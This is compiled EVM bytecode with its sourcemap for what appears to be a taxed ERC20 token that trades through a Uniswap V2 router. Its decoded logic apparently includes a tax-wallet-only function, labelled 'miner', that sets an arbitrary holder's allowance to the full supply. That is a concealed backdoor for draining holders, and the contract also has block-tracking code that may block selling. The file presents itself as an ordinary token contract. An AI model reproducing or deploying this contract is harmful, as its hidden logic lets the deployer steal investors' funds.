b4c659f2488d6106746009600a6117a1565b610462906461f313f8806117af565b6011805460ff60b01b1916600160b01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa1580156106e4573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070891906117fb565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610767573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078b91906117fb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f991906117fb565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f8061085a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108c0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108e59190611816565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af115801561094a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096e9190611841565b506011805460ff60a01b1916600160a01b179055565b6010546001600160a01b0316336001600160a01b0316146109a3575f80fd5b6104be816040518060400160405280600581526020016436b4b732b960d91b8152505f85611354565b6001600160a01b0383166109f25760405162461bcd60e51b81526004016104eb90611860565b6001600160a01b038216610a185760405162461bcd60e51b81526004016104eb906118a4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610adc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104eb565b6001600160a01b038216610b3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104eb565b5f8111610b9f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104eb565b6011546001600160a01b0384811691811691821491908416145f610bca5f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610bf857505f546001600160a01b03868116911614155b8015610c1257506010546001600160a01b03868116911614155b15610e5b57610c436064610c3d600854600b5411610c3257600454610c36565b6006545b87906113eb565b90611470565b9050828015610c6f57506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610c9357506001600160a01b0385165f9081526003602052604090205460ff16155b15610d8b57601154600160b81b900460ff1615610d7657600c54841115610cfc5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104eb565b600d5484610d1e876001600160a01b03165f9081526001602052604090205490565b610d2891906118e6565b1115610d765760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104eb565b600b8054905f610d85836118f9565b91905055505b818015610da157506001600160a01b0386163014155b15610dce57610dcb6064610c3d600954600b5411610dc157600554610c36565b60075487906113eb565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610df45750825b8015610e095750601154600160b01b900460ff165b8015610e165750600e5481115b8015610e255750600a54600b54115b15610e5957610e47610e4286610e3d84600f546114b1565b6114b1565b611125565b478015610e5757610e57476112ce565b505b505b6001600160a01b0386165f9081526003602052604090205460ff1680610e9857506001600160a01b0385165f9081526003602052604090205460ff165b8015610ead57506001600160a01b0386163014155b8015610ec257506001600160a01b0385163014155b15610ecc57436012555b6001600160a01b0386165f9081526003602052604090205460ff16158015610f0c57506001600160a01b0385165f9081526003602052604090205460ff16155b15610fae5781610f7c576001600160a01b0385165f9081526013602052604090208315610f445780545f03610f3f574381555b610f76565b6001600160a01b0387165f90815260136020526040902081541580610f6a575081548154105b15610f7457805482555b505b50610fae565b6001600160a01b0386165f9081526013602052604090206012548154610fa1916114c5565b6001820155436002909101555b801561102657305f90815260016020526040902054610fcd9082611506565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101d9085815260200190565b60405180910390a35b6001600160a01b0386165f9081526001602052604090205461104890856114c5565b6001600160a01b0387165f9081526001602052604090205561108b61106d85836114c5565b6001600160a01b0387165f9081526001602052604090205490611506565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110d487856114c5565b60405190815260200160405180910390a3505050505050565b5f81848411156111105760405162461bcd60e51b81526004016104eb9190611590565b505f61111c8486611911565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061116b5761116b611924565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ff91906117fb565b8160018151811061121257611212611924565b60200260200101906001600160a01b031690816001600160a01b03168152505061125130737a250d5630b4cf539739df2c5dacb4c659f2488d846109cc565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112909085905f90869030904290600401611938565b5f604051808303815f87803b1580156112a7575f80fd5b505af11580156112b9573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104be573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03841661137a5760405162461bcd60e51b81526004016104eb90611860565b6001600160a01b0381166113a05760405162461bcd60e51b81526004016104eb906118a4565b6113ac6009600a6117a1565b6113bb906461f313f8806117af565b6001600160a01b039485165f90815260026020908152604080832094909716825292909252939020929092555050565b5f825f036113fa57505f6103e3565b5f61140583856117af565b90508261141285836119a9565b146114695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104eb565b9392505050565b5f61146983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611564565b5f8183116114bf5782611469565b50919050565b5f61146983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ed565b5f8061151283856118e6565b9050838110156114695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104eb565b5f81836115845760405162461bcd60e51b81526004016104eb9190611590565b505f61111c84866119a9565b5f602080835283518060208501525f5b818110156115bc578581018301518582016040015282016115a0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115f0575f80fd5b50565b5f8060408385031215611604575f80fd5b823561160f816115dc565b946020939093013593505050565b5f805f6060848603121561162f575f80fd5b833561163a816115dc565b9250602084013561164a816115dc565b929592945050506040919091013590565b5f6020828403121561166b575f80fd5b8135611469816115dc565b5f8060408385031215611687575f80fd5b8235611692816115dc565b915060208301356116a2816115dc565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116fb57815f19048211156116e1576116e16116ad565b808516156116ee57918102915b93841c93908002906116c6565b509250929050565b5f82611711575060016103e3565b8161171d57505f6103e3565b8160018114611733576002811461173d57611759565b60019150506103e3565b60ff84111561174e5761174e6116ad565b50506001821b6103e3565b5060208310610133831016604e8410600b841016171561177c575081810a6103e3565b61178683836116c1565b805f1904821115611799576117996116ad565b029392505050565b5f61146960ff841683611703565b80820281158282048414176103e3576103e36116ad565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561180b575f80fd5b8151611469816115dc565b5f805f60608486031215611828575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611851575f80fd5b81518015158114611469575f80fd5b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b808201808211156103e3576103e36116ad565b5f6001820161190a5761190a6116ad565b5060010190565b818103818111156103e3576103e36116ad565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119885784516001600160a01b031683529383019391830191600101611963565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119c357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202888404c55cd6de11855a0939e208e2ee04e910cddd3781da884c24d82cbd7e064736f6c63430008170033
Deployed Bytecode Sourcemap
3642:9193:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5748:83;;;;;;;;;;-1:-1:-1;5818:5:0;;;;;;;;;;;;-1:-1:-1;;;5818:5:0;;;;5748:83;;;;;;;:::i;:::-;;;;;;;;6581:161;;;;;;;;;;-1:-1:-1;6581:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6581:161:0;1023:187:1;4646:54:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4646:54:0;1215:177:1;6025:95:0;;;;;;;;;;;;;:::i;6750:338::-;;;;;;;;;;-1:-1:-1;6750:338:0;;;;;:::i;:::-;;:::i;5934:83::-;;;;;;;;;;-1:-1:-1;5934:83:0;;4257:1;2000:36:1;;1988:2;1973:18;5934:83:0;1858:184:1;12293:360:0;;;;;;;;;;;;;:::i;:::-;;6128:119;;;;;;;;;;-1:-1:-1;6128:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6221:18:0;6194:7;6221:18;;;:9;:18;;;;;;;6128:119;1547:94;;;;;;;;;;;;;:::i;11393:192::-;;;;;;;;;;;;;:::i;4451:56::-;;;;;;;;;;;;;;;;1324:87;;;;;;;;;;-1:-1:-1;1370:7:0;1397:6;-1:-1:-1;;;;;1397:6:0;1324:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;1324:87:0;2299:203:1;4514:58:0;;;;;;;;;;;;;;;;5839:87;;;;;;;;;;-1:-1:-1;5911:7:0;;;;;;;;;;;;-1:-1:-1;;;5911:7:0;;;;5839:87;;6255:167;;;;;;;;;;-1:-1:-1;6255:167:0;;;;;:::i;:::-;;:::i;4579:60::-;;;;;;;;;;;;;;;;4888:26;;;;;;;;;;-1:-1:-1;4888:26:0;;;;-1:-1:-1;;;;;4888:26:0;;;11730:555;;;;;;;;;;;;;:::i;12661:171::-;;;;;;;;;;-1:-1:-1;12661:171:0;;;;;:::i;:::-;;:::i;6430:143::-;;;;;;;;;;-1:-1:-1;6430:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6538:18:0;;;6511:7;6538:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6430:143;6581:161;6656:4;6673:39;174:10;6696:7;6705:6;6673:8;:39::i;:::-;-1:-1:-1;6730:4:0;6581:161;;;;;:::o;6025:95::-;6078:7;4315:13;4257:1;4315:2;:13;:::i;:::-;4300:28;;:12;:28;:::i;:::-;6098:14;;6025:95;:::o;6750:338::-;6873:4;6890:36;6900:6;6908:9;6919:6;6890:9;:36::i;:::-;6937:121;6946:6;174:10;6968:89;7006:6;6968:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6968:19:0;;;;;;:11;:19;;;;;;;;174:10;6968:33;;;;;;;;;;:37;:89::i;:::-;6937:8;:121::i;:::-;-1:-1:-1;7076:4:0;6750:338;;;;;:::o;12293:360::-;12359:10;;-1:-1:-1;;;;;12359:10:0;174;-1:-1:-1;;;;;12343:26:0;;12335:35;;;;;;12422:4;12381:20;6221:18;;;:9;:18;;;;;;12443:14;;12439:75;;12472:30;12489:12;12472:16;:30::i;:::-;12545:21;12581:12;;12577:69;;12610:24;12623:10;12610:12;:24::i;:::-;12324:329;;12293:360::o;1547:94::-;1370:7;1397:6;-1:-1:-1;;;;;1397:6:0;174:10;1459:23;1451:68;;;;-1:-1:-1;;;1451:68:0;;;;;;;:::i;:::-;;;;;;;;;1612:21:::1;1630:1;1612:9;:21::i;:::-;1547:94::o:0;11393:192::-;1370:7;1397:6;-1:-1:-1;;;;;1397:6:0;174:10;1459:23;1451:68;;;;-1:-1:-1;;;1451:68:0;;;;;;;:::i;:::-;4315:13:::1;4257:1;4315:2;:13;:::i;:::-;4300:28;::::0;:12:::1;:28;:::i;:::-;11446:12;:21:::0;4315:13:::1;4257:1;4315:2;:13;:::i;:::-;4300:28;::::0;:12:::1;:28;:::i;:::-;11478:14;:23:::0;11512:14:::1;:22:::0;;-1:-1:-1;;;;11512:22:0::1;::::0;;11550:27:::1;4315:13;4257:1;4315:2;:13;:::i;:::-;4300:28;::::0;:12:::1;:28;:::i;:::-;11550:27;::::0;1361:25:1;;;1349:2;1334:18;11550:27:0::1;;;;;;;11393:192::o:0;6255:167::-;6333:4;6350:42;174:10;6374:9;6385:6;6350:9;:42::i;11730:555::-;1370:7;1397:6;-1:-1:-1;;;;;1397:6:0;174:10;1459:23;1451:68;;;;-1:-1:-1;;;1451:68:0;;;;;;;:::i;:::-;11791:11:::1;::::0;-1:-1:-1;;;11791:11:0;::::1;;;11790:12;11782:47;;;::::0;-1:-1:-1;;;11782:47:0;;5145:2:1;11782:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;11782:47:0::1;4943:347:1::0;11782:47:0::1;11840:55;11857:4;4789:42;4315:13;4257:1;4315:2;:13;:::i;:::-;4300:28;::::0;:12:::1;:28;:::i;11840:55::-;11906:11;:17:::0;;-1:-1:-1;;;;11906:17:0::1;-1:-1:-1::0;;;11906:17:0::1;::::0;;11965:22:::1;::::0;;-1:-1:-1;;;11965:22:0;;;;4789:42:::1;::::0;11965:20:::1;::::0;:22:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;4789:42;11965:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11947:52:0::1;;12008:4;4789:42;-1:-1:-1::0;;;;;12015:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11947:88;::::0;-1:-1:-1;;;;;;11947:88:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;11947:88:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;11947:88:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11934:11;:101:::0;;-1:-1:-1;;;;;;11934:101:0::1;-1:-1:-1::0;;;;;11934:101:0;;;::::1;::::0;;;::::1;::::0;;12113:4:::1;-1:-1:-1::0;6221:18:0;;;-1:-1:-1;6221:18:0;;;;;;4789:42:::1;::::0;12046:28:::1;::::0;12082:21:::1;::::0;12113:4;12144:1:::1;12146::::0;12148:7:::1;1370::::0;1397:6;-1:-1:-1;;;;;1397:6:0;;1324:87;12148:7:::1;12046:126;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12046:126:0;;;-1:-1:-1;;;;;6219:15:1;;;12046:126:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;12156:15:0::1;6433:19:1::0;;;6426:35;6135:19;;12046:126:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12190:11:0::1;::::0;12183:66:::1;::::0;-1:-1:-1;;;12183:66:0;;4789:42:::1;12183:66;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;-1:-1:-1;;;;;12190:11:0;;::::1;::::0;-1:-1:-1;12183:27:0::1;::::0;6930:18:1;;12183:66:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12260:11:0::1;:17:::0;;-1:-1:-1;;;;12260:17:0::1;-1:-1:-1::0;;;12260:17:0::1;::::0;;11730:555::o;12661:171::-;12758:10;;-1:-1:-1;;;;;12758:10:0;174;-1:-1:-1;;;;;12744:24:0;;12736:33;;;;;;12780:44;12792:8;12780:44;;;;;;;;;;;;;-1:-1:-1;;;12780:44:0;;;12811:1;12814:9;12780:11;:44::i;7096:335::-;-1:-1:-1;;;;;7189:19:0;;7181:68;;;;-1:-1:-1;;;7181:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7268:21:0;;7260:68;;;;-1:-1:-1;;;7260:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7339:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7391:32;;1361:25:1;;;7391:32:0;;1334:18:1;7391:32:0;;;;;;;7096:335;;;:::o;7756:3040::-;-1:-1:-1;;;;;7846:18:0;;7838:68;;;;-1:-1:-1;;;7838:68:0;;8354:2:1;7838:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;7838:68:0;8152:401:1;7838:68:0;-1:-1:-1;;;;;7925:16:0;;7917:64;;;;-1:-1:-1;;;7917:64:0;;8760:2:1;7917:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;7917:64:0;8558:399:1;7917:64:0;8009:1;8000:6;:10;7992:64;;;;-1:-1:-1;;;7992:64:0;;9164:2:1;7992:64:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;7992:64:0;8962:405:1;7992:64:0;8088:11;;-1:-1:-1;;;;;8082:17:0;;;8088:11;;;8082:17;;;;8124:15;;;;8069:10;8196:7;1370;1397:6;-1:-1:-1;;;;;1397:6:0;;1324:87;8196:7;-1:-1:-1;;;;;8188:15:0;:4;-1:-1:-1;;;;;8188:15:0;;;:32;;;;-1:-1:-1;1370:7:0;1397:6;-1:-1:-1;;;;;8207:13:0;;;1397:6;;8207:13;;8188:32;:49;;;;-1:-1:-1;8227:10:0;;-1:-1:-1;;;;;8223:14:0;;;8227:10;;8223:14;;8188:49;8184:1224;;;8266:95;8357:3;8266:86;8307:15;;8296:9;;:26;8295:56;;8337:14;;8295:56;;;8324:12;;8295:56;8266:6;;:28;:86::i;:::-;:90;;:95::i;:::-;8254:107;;8382:5;:34;;;;-1:-1:-1;;;;;;8391:25:0;;4789:42;8391:25;;8382:34;:52;;;;-1:-1:-1;;;;;;8423:11:0;;;;;;:7;:11;;;;;;;;8421:13;8382:52;8378:348;;;8460:14;;-1:-1:-1;;;8460:14:0;;;;8456:225;;;8517:12;;8507:6;:22;;8499:61;;;;-1:-1:-1;;;8499:61:0;;9574:2:1;8499:61:0;;;9556:21:1;9613:2;9593:18;;;9586:30;9652:27;9632:18;;;9625:55;9697:18;;8499:61:0;9372:349:1;8499:61:0;8615:14;;8605:6;8591:13;8601:2;-1:-1:-1;;;;;6221:18:0;6194:7;6221:18;;;:9;:18;;;;;;;6128:119;8591:13;:20;;;;:::i;:::-;:38;;8583:78;;;;-1:-1:-1;;;8583:78:0;;10058:2:1;8583:78:0;;;10040:21:1;10097:2;10077:18;;;10070:30;10136:28;10116:18;;;10109:56;10182:18;;8583:78:0;9856:350:1;8583:78:0;8699:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8378:348;8745:6;:30;;;;-1:-1:-1;;;;;;8755:20:0;;8770:4;8755:20;;8745:30;8742:162;;;8808:80;8884:3;8808:71;8831:16;;8820:9;;:27;8819:59;;8863:15;;8819:59;;;8849:13;;8808:6;;:10;:71::i;:80::-;8796:92;;8742:162;8969:4;8920:28;6221:18;;;:9;:18;;;;;;8995:6;;-1:-1:-1;;;8995:6:0;;;;8994:7;:17;;;;;9005:6;8994:17;:32;;;;-1:-1:-1;9015:11:0;;-1:-1:-1;;;9015:11:0;;;;8994:32;:74;;;;;9051:17;;9030:20;:38;8994:74;:106;;;;;9082:18;;9072:9;;:28;8994:106;8990:407;;;9121:69;9138:51;9142:6;9150:38;9154:20;9176:11;;9150:3;:38::i;:::-;9138:3;:51::i;:::-;9121:16;:69::i;:::-;9238:21;9282:20;;9278:104;;9327:35;9340:21;9327:12;:35::i;:::-;9102:295;8990:407;8239:1169;8184:1224;-1:-1:-1;;;;;9425:13:0;;;;;;:7;:13;;;;;;;;;:29;;-1:-1:-1;;;;;;9443:11:0;;;;;;:7;:11;;;;;;;;9425:29;9424:55;;;;-1:-1:-1;;;;;;9460:19:0;;9474:4;9460:19;;9424:55;:76;;;;-1:-1:-1;;;;;;9483:17:0;;9495:4;9483:17;;9424:76;9420:148;;;9544:12;9527:14;:29;9420:148;-1:-1:-1;;;;;9584:13:0;;;;;;:7;:13;;;;;;;;9582:15;:31;;;;-1:-1:-1;;;;;;9602:11:0;;;;;;:7;:11;;;;;;;;9600:13;9582:31;9578:851;;;9635:6;9629:789;;-1:-1:-1;;;;;9694:16:0;;9663:28;9694:16;;;:12;:16;;;;;9729:443;;;;9767:16;;;:19;9763:105;;9832:12;9815:29;;9763:105;9729:443;;;-1:-1:-1;;;;;9951:18:0;;9916:32;9951:18;;;:12;:18;;;;;9996:16;;:21;;:64;;-1:-1:-1;10044:16:0;;10021:20;;:39;9996:64;9992:161;;;10109:20;;10090:39;;9992:161;9893:279;9729:443;9644:543;9629:789;;;-1:-1:-1;;;;;10247:18:0;;10212:32;10247:18;;;:12;:18;;;;;10333:14;;10308:20;;:40;;:24;:40::i;:::-;10284:21;;;:64;10390:12;10367:20;;;;:35;9629:789;10445:13;;10441:170;;10518:4;10500:24;;;;:9;:24;;;;;;:39;;10529:9;10500:28;:39::i;:::-;10493:4;10475:24;;;;:9;:24;;;;;;;:64;;;;10559:40;;-1:-1:-1;;;;;10559:40:0;;;;;;;10589:9;1361:25:1;;1349:2;1334:18;;1215:177;10559:40:0;;;;;;;;10441:170;-1:-1:-1;;;;;10637:15:0;;;;;;:9;:15;;;;;;:28;;10658:6;10637:19;:28::i;:::-;-1:-1:-1;;;;;10621:15:0;;;;;;:9;:15;;;;;:44;10691:40;10709:21;:6;10720:9;10709:10;:21::i;:::-;-1:-1:-1;;;;;10691:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10677:13:0;;;;;;;:9;:13;;;;;:54;;;;10747:41;;;10766:21;:6;10777:9;10766:10;:21::i;:::-;10747:41;;1361:25:1;;;1349:2;1334:18;10747:41:0;;;;;;;7825:2971;;;7756:3040;;;:::o;1816:190::-;1902:7;1938:12;1930:6;;;;1922:29;;;;-1:-1:-1;;;1922:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1962:9:0;1974:5;1978:1;1974;:5;:::i;:::-;1962:17;1816:190;-1:-1:-1;;;;;1816:190:0:o;10911:474::-;5392:6;:13;;-1:-1:-1;;;;5392:13:0;-1:-1:-1;;;5392:13:0;;;11013:16:::1;::::0;;11027:1:::1;11013:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11013:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11013:16:0::1;10989:40;;11058:4;11040;11045:1;11040:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;11040:23:0::1;;;-1:-1:-1::0;;;;;11040:23:0::1;;;::::0;::::1;4789:42;-1:-1:-1::0;;;;;11084:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11074:4;11079:1;11074:7;;;;;;;;:::i;:::-;;;;;;:29;-1:-1:-1::0;;;;;11074:29:0::1;;;-1:-1:-1::0;;;;;11074:29:0::1;;;::::0;::::1;11114:59;11131:4;4789:42;11161:11;11114:8;:59::i;:::-;11184:193;::::0;-1:-1:-1;;;11184:193:0;;4789:42:::1;::::0;11184:63:::1;::::0;:193:::1;::::0;11262:11;;11288:1:::1;::::0;11304:4;;11331::::1;::::0;11351:15:::1;::::0;11184:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5428:6:0;:14;;-1:-1:-1;;;;5428:14:0;;;-1:-1:-1;;;;10911:474:0:o;11593:92::-;11650:10;;:27;;-1:-1:-1;;;;;11650:10:0;;;;:27;;;;;11670:6;;11650:10;:27;:10;:27;11670:6;11650:10;:27;;;;;;;;;;;;;;;;;;;1143:173;1199:16;1218:6;;-1:-1:-1;;;;;1235:17:0;;;-1:-1:-1;;;;;;1235:17:0;;;;;;1268:40;;1218:6;;;;;;;1268:40;;1199:16;1268:40;1188:128;1143:173;:::o;7439:309::-;-1:-1:-1;;;;;7553:19:0;;7545:68;;;;-1:-1:-1;;;7545:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7632:21:0;;7624:68;;;;-1:-1:-1;;;7624:68:0;;;;;;;:::i;:::-;4315:13;4257:1;4315:2;:13;:::i;:::-;4300:28;;:12;:28;:::i;:::-;-1:-1:-1;;;;;7703:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:37;;;;-1:-1:-1;;7439:309:0:o;2625:246::-;2683:7;2707:1;2712;2707:6;2703:47;;-1:-1:-1;2737:1:0;2730:8;;2703:47;2760:9;2772:5;2776:1;2772;:5;:::i;:::-;2760:17;-1:-1:-1;2805:1:0;2796:5;2800:1;2760:17;2796:5;:::i;:::-;:10;2788:56;;;;-1:-1:-1;;;2788:56:0;;12157:2:1;2788:56:0;;;12139:21:1;12196:2;12176:18;;;12169:30;12235:34;12215:18;;;12208:62;-1:-1:-1;;;12286:18:1;;;12279:31;12327:19;;2788:56:0;11955:397:1;2788:56:0;2862:1;2625:246;-1:-1:-1;;;2625:246:0:o;2201:132::-;2259:7;2286:39;2290:1;2293;2286:39;;;;;;;;;;;;;;;;;:3;:39::i;10804:99::-;10861:7;10889:1;10887;:3;10886:9;;10894:1;10886:9;;;-1:-1:-1;10892:1:0;10804:99;-1:-1:-1;10804:99:0:o;1672:136::-;1730:7;1757:43;1761:1;1764;1757:43;;;;;;;;;;;;;;;;;:3;:43::i;2014:179::-;2072:7;;2104:5;2108:1;2104;:5;:::i;:::-;2092:17;;2133:1;2128;:6;;2120:46;;;;-1:-1:-1;;;2120:46:0;;12559:2:1;2120:46:0;;;12541:21:1;12598:2;12578:18;;;12571:30;12637:29;12617:18;;;12610:57;12684:18;;2120:46:0;12357:351:1;2341:276:0;2427:7;2462:12;2455:5;2447:28;;;;-1:-1:-1;;;2447:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2486:9:0;2498:5;2502:1;2498;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:27